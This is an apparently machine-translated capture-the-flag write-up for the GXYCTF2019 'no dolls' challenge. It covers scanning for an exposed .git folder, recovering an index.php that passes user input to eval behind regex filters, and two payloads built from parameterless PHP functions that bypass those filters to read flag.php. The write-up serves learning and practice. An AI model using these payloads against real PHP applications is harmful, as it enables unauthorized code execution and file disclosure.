当前位置:网站首页>Buuctf Web [gxyctf2019] no dolls
Buuctf Web [gxyctf2019] no dolls
2022-04-23 12:33:00 【Y1Daa】
BUUCTF WEB [GXYCTF2019] No doll
-
There's no hint , Use dirsearch scanning
# Dirsearch started Fri Apr 22 02:23:09 2022 as: ./dirsearch.py -u http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/ --delay=0.5 -t 3 301 185B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git -> REDIRECTS TO: http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn/.git/ 403 571B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/ 200 267B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/COMMIT_EDITMSG 200 23B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/HEAD 403 571B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/branches/ 200 92B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/config 200 73B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/description 403 571B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/hooks/ ......
Scan a lot about .git Path to folder , The suspicion is .git Let the cat out of the
-
Use scrabble scanning
./scrabble http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81 hint: Using 'master' as the name for the initial branch. This default branch name hint: is subject to change. To configure the initial branch name to use in all hint: of your new repositories, which will suppress this warning, call: hint: hint: git config --global init.defaultBranch <name> hint: hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and hint: 'development'. The just-created branch can be renamed via this command: hint: hint: git branch -m <name> Initialized empty Git repository in /root/Tools/scrabble/.git/ parseCommit e729e0b15f06da388b0e634afffd19b8e17b572a downloadBlob e729e0b15f06da388b0e634afffd19b8e17b572a parseTree 964071070547c4dda8cf5e14da26e4d7b7aeeeb5 downloadBlob 964071070547c4dda8cf5e14da26e4d7b7aeeeb5 downloadBlob 7169422bf0676b5369d25776f03961e158428c90 HEAD is now at e729e0b init
Scan it. index.php
<?php include "flag.php"; echo "flag Where is it ?<br>"; if(isset($_GET['exp'])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { // echo $_GET['exp']; @eval($_GET['exp']); } else{ die(" It's a little bit close to !"); } } else{ die(" Think about it !"); } } else{ die(" Still want to read flag, Smelly brother !"); } } // highlight_file(__FILE__); ?>
-
The first layer of filtration
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']))
Filtered some PHP Fake protocol
-
Second layer filtration
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))
there
(?R)
It refers to the current expression ,(?R)?
Indicates that there can be zero or one reference , Can matchprint(echo(1))
A string consisting of nested characters and parentheses
-
The third layer of filtration
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp']))
Filtered some keywords
Method 1 session_id
?exp=highlight_file(session_id(session_start()));
Grab the bag at the same time Cookie Set in PHPSESSID
PHPSESSID=flag.php
Method 2 scandir()
exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
current(localeconv())
Returns the .
, And then use scandir() Function to scan the current folder
localeconv()
The function returns an array containing local numbers and currency format information , The first element of this array is.
current()
Function returns the value of the current element in the array , The initial pointer of each array points to the first element of the array
array_reverse()
The function returns the array in reverse order
next()
The function points the internal pointer to the next element in the array and outputs
版权声明
本文为[Y1Daa]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/04/202204231227159509.html
边栏推荐
- C set Logo Icon and shortcut icon
- Plato Farm-以柏拉图为目标的农场元宇宙游戏
- QT double buffer drawing
- 编程辅助工具推荐:图片工具snipaste
- SQLserver怎么插入或更新当天的星期数,bit而不是文本
- The maximum number of remote desktop servers has been exceeded
- 网站首页文件被攻击篡改的形式有哪些
- Why is the premise of hash% length = = hash & (length-1) that length is the nth power of 2
- Metalama简介4.使用Fabric操作项目或命名空间
- On lambda powertools typescript
猜你喜欢
Recommended programming AIDS: picture tool snipaste
I changed to a programmer at the age of 31. Now I'm 34. Let me talk about my experience and some feelings
Metalama简介4.使用Fabric操作项目或命名空间
消息队列概述
On lambda powertools typescript
实现一个盒子在父盒子中水平垂直居中的几种“姿势”
IDEA设置版权信息
5-minute NLP: text to text transfer transformer (T5) unified text to text task model
Plato Farm-以柏拉图为目标的农场元宇宙游戏
Please help me see what this is, mysql5 5. Thanks
随机推荐
论文解读(CGC)《CGC: Contrastive Graph Clustering for Community Detection and Tracking》
AI video cloud vs narrowband HD, who is the darling of the video era
Xinwangda announced that the price of battery products had been increased, and the investment of "weixiaoli" exceeded 1 billion
BUUCTF WEB [BJDCTF2020]ZJCTF,不过如此
甲辰篇 創世紀《「內元宇宙」聯載》
Source code analysis of synchronousqueue
【每日一题】棋盘问题
The database navigator uses the default MySQL connection prompt: the server time zone value 'Ö Ð¹ ú±ê ×¼ ʱ ¼ ä’ is unrecognized or repres
硬核解析Promise对象(这七个必会的常用API和七个关键问题你都了解吗?)
On lambda powertools typescript
【unity笔记】L4Unity中的基础光照
SSL证书退款说明
Debug Jest test cases in VSCode, debug Jest test cases in VSCode, middle note basedir=$(dirname "$" (echo "$0" sed -e -e, s, \ \, / "-e").
软件测试基础DAY2-用例执行
Analysis of InnoDB execution process in MySQL
STM32工程移植:不同型号芯片工程之间的移植:ZE到C8
Metalama简介4.使用Fabric操作项目或命名空间
编程辅助工具推荐:图片工具snipaste
A graphic designer's fantasy world | ones characters
传统企业如何应对数字化转型?这些书给你答案